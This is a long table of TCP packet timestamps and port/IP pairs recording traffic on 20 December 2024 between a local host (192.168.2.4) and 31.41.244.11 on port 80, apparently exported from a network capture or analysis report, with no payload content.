Dec 20, 2024 07:12:17.846860886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.846906900 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.848093987 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.848140955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.848210096 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.848253965 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.849364996 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.849410057 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.849477053 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.849523067 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.850684881 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.850729942 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.850756884 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.850811005 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.851984024 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.852031946 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.852128983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.852173090 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.853250980 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.853296995 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.853354931 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.853508949 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.854556084 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.854604006 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.854660988 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.854705095 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.855860949 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.855907917 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.856005907 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.856053114 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.857175112 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.857223034 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.857310057 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.857355118 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.858527899 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.858561039 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.858576059 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.858603001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.859879017 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.859895945 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.859925032 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.859946966 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.861099958 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.861146927 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.861193895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.861241102 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.862412930 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.862459898 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.862627983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.862673044 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.863714933 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.863761902 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.863956928 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.864002943 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.865062952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.865108967 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.865127087 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.865178108 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.866314888 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.866359949 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.866368055 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.866408110 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.867615938 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.867662907 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.988769054 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.988882065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.988941908 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.989301920 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.989461899 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.989516973 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.990439892 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.990490913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.990552902 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.991650105 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.991702080 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.991729021 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.992811918 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.992863894 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.992942095 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.992985964 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.993937969 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.994056940 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.994102955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.995125055 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.995237112 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.995290041 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.996243954 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.996298075 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.996351004 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.997492075 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.997661114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.997714996 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.998584032 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.998630047 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.998665094 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.999903917 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.999952078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.999980927 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.000993013 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.001043081 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.001061916 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.001108885 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.002082109 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.002218962 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.002264977 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.003292084 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.003369093 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.003418922 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.004492998 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.004540920 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.004580975 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.005508900 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.005574942 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.005620956 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.005719900 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.005765915 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.006814003 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.006829977 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.006860971 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.006872892 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.007885933 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.008035898 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.008081913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.009083986 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.009160042 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.009207964 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.010236979 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.010296106 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.010337114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.011389971 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.011440992 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.011511087 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.011562109 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.012604952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.012655020 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.012686968 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.012763977 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.013864994 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.013879061 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.013923883 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.014866114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.014961004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.015026093 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.016042948 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.016104937 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.016195059 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.016244888 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.017261028 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.017307997 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.017344952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.017391920 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.018405914 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.018449068 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.018496037 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.019539118 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.019594908 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.019642115 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.020673990 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.020720959 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.020771027 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.021511078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.021962881 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.021977901 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.022008896 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.022027969 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.023041010 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.023361921 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.023411036 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.024183035 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.024266005 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.024315119 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.025372028 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.025418997 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.025495052 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.026602983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.026618958 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.026649952 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.026675940 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.027705908 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.027798891 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.027847052 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.028820992 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.028961897 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.029011965 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.029973984 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.030092001 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.030142069 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.031136990 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.031183004 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.031227112 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.032285929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.032335043 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.032382965 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.033448935 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.033499002 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.033555031 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.033601046 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.034629107 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.034754992 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.034809113 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.035912037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.035927057 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.035974026 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.037008047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.037050962 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.037055016 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.037508965 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.038110018 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.038156033 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.038189888 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.038229942 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.039252996 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.039293051 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.039371967 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.039417028 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.040426970 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.040472031 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.040540934 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.040586948 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.041712999 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.041771889 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.041816950 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.042793989 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.042818069 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.042860031 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.043922901 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.044042110 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.044089079 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.045113087 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.045164108 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.045191050 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.045510054 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.046251059 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.046297073 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.046428919 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.046479940 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.047403097 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.047447920 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.047629118 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.047676086 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.048554897 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.048602104 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.048676968 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.048722982 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.049679041 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.053507090 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.180744886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.180807114 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.180900097 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.180951118 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.181411982 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.181435108 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.181467056 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.181479931 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.182476997 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.182524920 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.182598114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.182646990 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.183624029 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.183716059 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.183768988 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.184849977 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.184864998 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.184902906 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.184921980 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.185991049 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.186037064 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.186063051 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.186075926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.187118053 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.187215090 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.187262058 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.188313961 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.188402891 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.188450098 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.189440012 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.189481974 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.189548969 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.190614939 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.190663099 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.190787077 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.190865040 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.191773891 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.191844940 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.191865921 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.191907883 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.192949057 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.193001986 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.193161011 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.193209887 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.194068909 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.194116116 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.194184065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.194228888 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.195277929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.195334911 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.195354939 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.195374012 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.196460009 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.196532965 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.196569920 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.196580887 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.197546005 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.197596073 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.197669983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.197710991 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.198717117 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.198847055 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.198888063 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.199950933 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.200062037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.200119972 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.201081038 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.201122999 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.201312065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.201504946 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.202219009 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.202358007 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.202402115 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.203370094 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.203424931 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.203532934 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.203690052 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.204530001 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.204566002 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.204586029 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.204607964 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.205679893 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.205888033 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.205935001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.206849098 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.206904888 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.206944942 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.206985950 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.208055973 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.208120108 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.208162069 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.208210945 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:18.209237099 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:18.209387064 CET	80	49777	31.41.244.11	192.168.2.4
